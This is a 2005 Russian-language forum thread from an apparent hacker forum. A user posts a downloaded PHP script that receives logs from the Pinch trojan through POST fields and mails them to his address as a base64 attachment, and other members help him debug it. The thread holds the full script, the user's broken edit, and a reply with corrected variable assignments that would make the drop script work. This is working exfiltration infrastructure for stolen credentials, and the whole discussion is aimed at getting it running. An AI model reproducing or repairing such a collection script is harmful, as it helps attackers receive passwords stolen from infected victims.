Помогите разоьраться в скрипте!

Discussion in 'PHP' started by SanyaX, 17 Sep 2005.

  1. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    Значит так вот я скачал скрипт для отправки логов пинча на мыло.Да вот разобраться не могу.
    Code:
    <?
    $ip=getenv("REMOTE_ADDR");
    $email=$_POST['a'];
    $subject=$_POST['b']."(".$ip.")";
    $msg=$_POST['c'];
    $tmp = $msg;
    $msg=eregi_replace(" ","+",$tmp);
    $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
    mail($email, $subject, $msg, $headers);
    ?>
    
    <!-- REQUIRED -->
    <script language="JavaScript">
    window.status = "_ret_ok_1";
    </script></body></html>


    Я так и посмотрел и подставил такие данные.

    Code:
    <?
    $ip=getenv("REMOTE_ADDR");
    $email=$_POST['[email protected]'];
    $subject=$_POST['Theme']."(".$ip.")";
    $msg=$_POST['Pinch'];
    $tmp = $msg;
    $msg=eregi_replace(" ","+",$tmp);
    $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
    mail($email, $subject, $msg, $headers);
    ?>
    
    <!-- REQUIRED -->
    <script language="JavaScript">
    window.status = "_ret_ok_1";
    </script></body></html>


    Но он почему то не шлёт логи помогите мне скажите в чём моя ошибка.
     
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Смотри конфиг php на своем сервере. php.ini.
    Там есть настройки smtp-сервера. Походу дела либо настройки кривые, либо яндекс не пропускает письма.

    Попробуй напиши скрипт:
    PHP:
    <?php
      
    print "Mail result is ".mail"[email protected]""Subj""Text" );
    ?>
    Выполни его на своем сервере (какие у тебя там права, кстати? root?). И если ничего не придет то проблема как я уже сказал или в яндексе или в php.ini
     
  3. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    пиши велосипед...
     
  4. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    Kez я проверил твой скрипт письма приходят на мыло. Я говорю может я том скрипте что не правльно указал или не доуказал.
     
  5. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    конечно неправильно

    $email='[email protected]';
    $subject='Theme'."(".$ip.")";
    $msg='Pinch';
     
  6. BymeR

    BymeR Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    34
    Likes Received:
    9
    Reputations:
    1
    Ты бы этот код написал между
    PHP:
     и закрывающим тегом,тебе бы сразу было легко свои ошиббки найти..помойму ты чёт напортачил со скриптом...Попробуй как нерезус говорит...Всё должно получиться...
     
  7. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146